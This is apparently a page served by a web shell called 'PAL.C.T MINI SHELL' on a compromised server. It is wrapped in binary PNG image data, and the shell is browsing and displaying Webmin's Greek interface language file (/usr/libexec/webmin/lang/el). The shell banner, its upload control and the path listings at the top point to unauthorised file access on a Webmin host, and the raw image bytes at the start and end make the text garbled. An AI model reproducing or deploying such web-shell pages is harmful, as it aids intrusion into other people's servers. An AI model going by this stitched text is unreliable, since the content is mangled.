php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/lang/
upload
files >> //usr/libexec/webmin/lang/el

main_homepage=Αρχική Σελίδα
main_feedback=Ανατροφοδότηση..
main_switch=Αλλαγή χρήστη..
main_logout=Έξοδος
main_version=Έκδοση $1 σε $2 ($3)
main_title=Webmin $1 σε $2 ($3)
main_title2=Webmin
main_none=Δεν έχετε πρόσβαση σε κανένα άρθρωμα του Webmin
main_skill=Επίπεδο δυνατοτήτων
main_readonly=(Κατάσταση ανάγνωσης-μόνο)
main_return=Επιστροφή σε $1

link_essl=Το Net::SSLeay Perl άρθρωμα που χρειάζεται για τις HTTPS συνδέσεις δεν είναι εγκατεστημένο στο σύστημά σας.

category_servers=Υπηρεσίες
category_hardware=Υλικό
category_system=Σύστημα
category_webmin=Webmin
category_net=Δικτύωση
category_syslet=Syslets
category_cluster=Συστοιχία
category_info=Πληροφορίες

longcategory_servers=Αρθρώματα ρυθμίσεων web, email, FTP και άλλων εξυπηρετητών
longcategory_hardware=Αρθρώματα για εκτυπωτές, δίσκους και άλλες ρυθμίσεις υλικού
longcategory_system=Αρθρώματα για χρήστες, συστήματα αρχείων, Προγραμματιζόμενες εργασίες και άλλες ρυθμίσεις συστήματος
longcategory_webmin=Αρθρώματα για τη ρύθμιση του ίδιου του Webmin
longcategory_net=Αρθρώματα για δικτυακές ρυθμίσεις και υπηρεσίες
longcategory_cluster=Αρθρώματα που μπορούν να χειριστούν πολλαπλούς εξυπηρετητές μέσα από μία μόνο διεπαφή
longcategory_info=Αρθρώματα που εμφανίζουν πληροφορίες σχετικά με το σύστημά σας

header_webmin=Ευρετήριο Webmin 
header_module=Ευρετήριο Αρθρωμάτων
header_help=Βοήθεια..
header_config=Ρυθμίσεις Αρθρώματος
header_servers=Webmin Servers

index=Ευρετήριο
yes=Ναι
no=Όχι
save=Αποθήκευση
create=Δημιουργία
delete=Διαγραφή
find=Εύρεση
error=Σφάλμα
error_previous=προηγούμενη σελίδα
error_stack=Call Stack Trace
error_file=Αρχείο
error_line=Γραμμή
error_sub=Συνάρτηση
error_stackline=Στο αρχείο $1 στη γραμμή $2 καλώντας $3
efilewrite=Αποτυχία εγγραφής σε $1 : $2
efileclose=Αποτυχία εγγραφής σε $1 κατά το κλείσιμο : $2
efileopen=Απευχε το άνοιγμα του $1 για εγγραφή : $2
default=Προκαθορισμένο
modify=Τροποποίηση
reset=Επαναφορά
ok=OK
cancel=Ακύρωση
helpsearch=Αναζήτηση στην Τεκμηρίωση..
switch_remote_euser=Ο Unix χρήστης $1 δεν υπάρχει.
programname=Webmin

chooser_title1=Επιλογή αρχείου..
chooser_title2=Επιλογή Φακέλου..
chooser_dir=Φάκελος $1
chooser_ok=Ok
chooser_date=Επιλογή Ημερομηνίας
chooser_eopen=Αποτυχία εμφάνισης λίστας : $1

users_title1=Επιλογή χρηστών..
users_title2=Επιλογή χρήστη..
users_sel=Επιλεγμένοι Χρήστες
users_all=Όλοι οι χρήστες
users_ok=Ok
users_cancel=Ακύρωση
users_clear=Καθαρισμός

groups_title1=Επιλογή Ομάδων..
groups_title2=Επιλογή Ομάδας..
groups_all=Όλες οι Ομάδες
groups_sel=Επιλεγμένες Ομάδες
groups_ok=Ok
groups_cancel=Ακύρωση
groups_clear=Καθαρισμός

modules_title1=Επιλογή Αρθρωμάτων..
modules_title2=Επιλογή Αρθρώματος..
modules_sel=Επιλεγμένα Αρθρώματα
modules_all=Όλα τα Αρθρώματα
modules_ok=Ok
modules_cancel=Ακύρωση
modules_clear=Καθαρισμός

config_ecannot=Δεν έχετε δικαίωμα ρύθμισης αυτού του αρθρώματος
config_title=Ρύθμισεις
config_dir=Για το άρθρωμα $1
config_header=Ρυθμίσιμες επιλογές για $1
config_none=Κανένα
config_eaccess=Δεν έχετε δικαίωμα πρόσβασης σε αυτό το άρθρωμα
config_err=Αποτυχία αποθήκευσης αρχείου ρυθμίσεων
config_nochange=Να μην αλλάξει
config_setto=Ορισμός σε 
config_ewebmin=Η παράμετρος τύπου 14 λειτουργεί μόνο στο Webmin

help_err=Αποτυχία εμφάνισης Βοήθειας
help_epath=Λείπει ή είναι άκυρη η διαδρομή φακέλων της βοήθειας
help_efile=Αποτυχία ανάγνωσης αρχείου βοήθειας $1
help_eheader=Λείπει η <επικεφαλίδα> τομέα
help_einclude=Αποτυχία συμπερίληψης $1
help_eif=$1 απέτυχε : $2
help_eexec=$1 απέτυχε : $2

referer_title=Προειδοποίηση Ασφαλείας
referer_warn=<b>Προειδοποίηση!</b> Το Webmin εντόπισε ότι για την εφαρμογή $2 έγινε σύνδεση από το URL $1, που φαίνεται να είναι εκτός του διακομιστή Webmin. Αυτό μπορεί να είναι προσπάθεια εξαπάτησης του διακομιστή για την εκτέλεση επικύνδυνης εντολής.
referer_warn_unknown=<b>Προειδοποίηση!</b> Το Webmin εντόπισε ότι για την εφαρμογή $2 έγινε σύνδεση μια άγνωστη URL διεύθυνση, που φαίνεται να είναι εκτός του διακομιστή Webmin. Αυτό μπορεί να είναι προσπάθεια εξαπάτησης του διακομιστή για την εκτέλεση επικύνδυνης εντολής.

session_header=Σύνδεση στο Webmin
session_mesg=Θα πρέπει να εισάγετε ένα όνομα χρήστη και ένα κωδικό για να συνδεθείτε με τον διακομιστή Webmin server στον $1.
session_mesg2=Θα πρέπει να εισάγετε ένα όνομα χρήστη και ένα κωδικό για να συνδεθείτε.
session_user=Όνομα Χρήστη
session_pass=Κωδικός
session_login=Σύνδεση
session_clear=Καθαρισμός
session_failed=Αποτυχία σύνδεσης. Παρακαλώ δοκιμάστε πάλι.
session_logout=Επιτυχής αποσύνδεση. Χρησιμοποιήστε την παρακάτω φόρμα για να συνδεθείτε ξανά.
session_timed_out=Λήξη χρόνου συνεδρίας μετά από $1 λεπτά αδράνειας.
session_save=Να θυμάμαι μόνιμα τις πληροφορίες σύνδεσης;

pam_header=Σύνδεση στο Webmin
pam_mesg=Θα πρέπει να απανησετε στην παρακάτω ερώτηση για να συνδεθείτε στον εξυπηρετητή Webmin στον $1.
pam_mesg2=Θα πρέπει να απανησετε στην παρακάτω ερώτηση για να συνδεθείτε.
pam_login=Συνέχεια
pam_restart=Επανεκκίνηση

acl_root=Ριζικός φάκελος κατά την επιλογή αρχείου
acl_otherdirs=¶λλοι φάκελοι που θα εμφανίζονται κατά την επιλογή αρχείου
acl_nodot=Απόκρυψη κρυφών αρχείων κατά την επιλογή αρχείου;
acl_home=Προσωπικός φάκελος χρήστη
acl_uedit=Χρήστες που θα εμφανίζονται κατά την επιλογή χρήστη
acl_uedit_all=Όλοι οι χρήστες
acl_uedit_none=Κανένας χρήστης
acl_uedit_only=Μόνο οι χρήστες
acl_uedit_except=Όλοι εκτός από τους χρήστες
acl_uedit_uid=Χρήστες με UIDs μεταξύ
acl_uedit_group=Χρήστες με ομάδα
acl_gedit=Ομάδες που θα εμφανίζονται κατά την επιλογή ομάδας
acl_gedit_all=Όλες οι ομάδες
acl_gedit_none=Καμία ομάδα
acl_gedit_only=Μόνο οι ομάδες
acl_gedit_except=Όλες εκτός από τις ομάδες
acl_gedit_gid=Ομάδες με GIDs μεταξύ
acl_feedback=Να μπορεί να στέλνει email με πληροφορίες ανατροφοδότησης;
acl_feedback2=Ναι
acl_feedback1=Ναι, αλλά όχι με αρχεία ρυθμίσεων
acl_feedback0=Όχι
acl_feedback3=Ναι, με αρχεία ρυθμίσεων
acl_rpc=Να μπορεί να δέχεται κλήσεις RPC;
acl_rpc2=Μόνο για <tt>root</tt> ή <tt>admin</tt>
acl_rpc1=Ναι
acl_rpc0=Όχι
acl_fileunix=Περιήγηση αρχείων ως Unix χρήστης
acl_sameunix=Όμοια με την Webmin σύνδεση

month_1=Ιανουάριος
month_2=Φεβρουάριος
month_3=Μάρτιος
month_4=Απρίλιος
month_5=Μάιος
month_6=Ιούνιος
month_7=Ιούλιος
month_8=Αύγουστος
month_9=Σεπτέμβριος
month_10=Οκτώβριος
month_11=Νοέμβριος
month_12=Δεκέμβριος

day_0=Κυριακή
day_1=Δευτέρα
day_2=Τρίτη
day_3=Τετάρτη
day_4=Πέμπτη
day_5=Παρασκευή
day_6=Σάββατο

smonth_1=Ιαν
smonth_2=Φεβ
smonth_3=Μαρ
smonth_4=Απρ
smonth_5=Μάι
smonth_6=Ιού
smonth_7=Ιού
smonth_8=Αύγ
smonth_9=Σεπ
smonth_10=Όκτ
smonth_11=Νοέ
smonth_12=Δεκ

sday_0=Κυ
sday_1=Δε
sday_2=Τρ
sday_3=Τε
sday_4=Πε
sday_5=Πα
sday_6=Σα

emodule=Απαγορεύεται η πρόσβαση : Ο χρήστης $1 δεν είναι δικαίωμα χρήσης του αρθρώματος $2
emodulecheck=Το άρθρωμα $1 δεν είναι διαθέσιμο στο σύστημά σας

skill_high=Έμπειρος
skill_medium=Μέσου επιπέδου
skill_low=Αρχάριος

feedback_title=Ανατροφοδότηση Webmin
feedback_desc=Αυτή η φόρμα σας επιτρέπει να ενημερώσετε για σφάλματα ή να κάνετε προτάσεις στην ομάδα ανάπτυξης του Webmin σχετικά με οποιαδήποτε προβλήματα που συναντήσατε ή δυνατότητες που πιστεύεται ότι λείπουν. Όταν πατηθεί το κουμπί Αποστολής, οι πληροφορίες που έχουν εισαχθεί στην φόρμα θα αποσταλούν με email στο $1.
feedback_desc2=ΟΙ πληροφορίες ανατροφοδότησης θ αποσταλλούν στην ομάδα ανάπτυξης του Webmin, και όχι στον διαχειριστή του συστήματός σας, στον ISP ή στην εταιρεία που σας παρέχει φιλοξενία. Παρακαλώ γράψτε τις πληροφορίες ανατροφοδότησης στα αγγλικά, ακόμα και αν αυτή τη στιγμή σας εμφανίζεται το Webmin σε άλλη γλώσσα.
feedback_header=Πληροφορίες Ανατροφοδότησης
feedback_name=Το όνομά σας
feedback_email=Η διεύθυνση email σας
feedback_module=Σχετικά με το άρθρωμα
feedback_all=Όλα τα αρθρώματα
feedback_text=Περιγραφή προβλήματος ή πρότασης
feedback_os=Συμπερίληψη πληροφοριών λειτουργικού συστήματος στο email;
feedback_osdesc=Εάν αυτή η επιλογή είναι ενεργή, το αυτόματο email ανατροφοδότησης θα συμπεριλαμβάνει το όνομα του λειτουργικού σας συστήματος και την έκδοσή του.
feedback_config=Συμπερίληψη ρύθμισης αρθρώματος στο email;
feedback_configdesc=Εάν είναι επιλεγμένο, το email θα περιλαμβάνει και την ρύθμιση του σχετικού αρθρώματος και τα περιεχόμενα των αρχείων ρυθμίσεων που χρησιμοποιεί. Για παράδειγμα, εάν οι πληροφορίες αφορούσαν το άρθρωμα <i>Χρήστες και Ομάδες</i>, θα στέλνονταν επίσης και τα αρχεία <tt>/etc/passwd</tt> και <tt>/etc/shadow</tt>.
feedback_attach=Επιπλέον αρχεία για επισύναψη 
feedback_send=Αποστολή Ανατροφοδότησης
feedback_mailserver=Αποστολή μέσω SMTP διακομιστή
feedback_mailserver_def=Τοπική εφαρμογή sendmail
feedback_err=Αποτυχία αποστολής πληροφοριών ανατροφοδότησης
feedback_emodule=Επιλέξατε να συμπεριλάβετε ρυθμίσεις αρθρώματος στο email, αλλά δεν επιλέξατε κάποιο άρθρωμα
feedback_emodule2=Το επιλεγμένο άρθρωμα δεν υπάρχει
feedback_econfig=Δεν έχετε πλήρη πρόσβαση στο επιλεγμένο άρθρωμα
feedback_via=Αποστολή πληροφοριών ανατροφοδότησης σε $1 μέσω του διακομιστή SMTP  $2
feedback_prog=Αποστολή πληροφοριών ανατροφοδότησης σε $1 μέσω της εφαρμογής sendmail $2
feedback_esend=Αποτυχία αποστολής πληροφοριών ανατροφοδότησης μέσω sendmail ή τοπικού SMTP διακομιστή.
feedback_to=Αποστολή πληροφοριών ανατροφοδότησης στις διευθύνσεις
feedback_enoto=Καμία διεύθυνση δεν εισήχθηκε για την αποστολή ανατροφοδότησης προς αυτήν
feedback_ecannot=Δεν έχετε δικαίωμα αποστολής πληροφοριών ανατροφοδότησης
feedback_ecannot2=Δεν έχετε δικαίωμα αποστολής πληροφοριών ανατροφοδότησης που να περιέχουν αρχεία ρυθμίσεων

progress_nosize=Λήψη $1 ..
progress_done=.. η λήψη ολοκληρώθηκε
progress_incache=Βρέθηκε $1 στην cache ..

readparse_cdheader=Λείπει Content-Disposition επικεφαλίδα 
readparse_enc=Αναμενόταν κωδικοποίηση δεδομένων φόρμας, αλλά παραλήφθηκε κανονική κωδικοποίηση
readparse_max=Το μέγεθος των δεδομένων ξεπέρασε το μέγιστο δυνατό των $1 bytes

password_expired=Ο κωδικός σας έχει λήξει, και θα πρέπει να ορίσετε έναν καινούριο
password_header=Ορισμός Νέου Κωδικού
password_user=Όνομα Χρήστη
password_old=Τρέχον κωδικός
password_new1=Νέος κωδικός
password_new2=Νέος κωδικός ξανά
password_ok=Αλλαγή
password_clear=Καθαρισμός
password_done=Ο κωδικός σας άλλαξε με επιτυχία. Μπορείτε τώρα <a href='$1'>να ξανασυνδεθείτε</a> με τον νέο κωδικό.
password_err=Αποτυχία αλλαγής κωδικού
password_euser=Το όνομα χρήστη σας δεν βρέθηκε στο αρχείο κωδικών!
password_eold=Δώσατε εσφαλμένο τρέχον κωδικό
password_enew1=Δεν εισήχθηκε νέος κωδικός
password_enew2=Οι νέοι κωδικοί που εισάγατε δεν ταιριάζουν μεταξύ τους
password_epam=Σφάλμα PAM  : $1
password_emodpam=Το Authen::PAM perl άρθρωμα που χρειάζεται για να γίνουν οι αλλαγές στους κωδικούς δεν είναι εγκατεστημένο!

ui_mandatory=Αυτό το πεδίο είναι υποχρεωτικό
ui_checkmandatory=Δεν επιλέχθηκε τίποτα
ui_errors=Βρέθηκαν πολλαπλά λάθη :
ui_nothing=Δεν εισήχθηκε τίποτα
ui_searchcol=Εύρεση γραμμών όπου
ui_searchfor=Περιέχεται το κείμενο
ui_searchok=Αναζήτηση
ui_selall=Επιλογή όλων.
ui_selinv=Αντιστροφή επιλογης.
ui_edate=¶κυρη ημερομηνία
ui_etime=¶κυρη ώρα
ui_paging=Εμφάνιση γραμμών $1 έως $2 από $3
ui_rowlabel=$2 στην γραμμή $1 :

header_statusmsg=$1 συνδεδεμένος σε $2 $3 στο $4 ($5)

uptracker_title=Αποστολή Αρχείου
uptracker_file=Όνομα Αρχείου
uptracker_size=Μέγεθος
uptracker_pc=Πρόοδος
uptracker_eid=Δεν ορίστηκε ID αποστολής
uptracker_eid2=Το ID αποστολής είναι άκυρο!
uptracker_of=$1 από $2
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`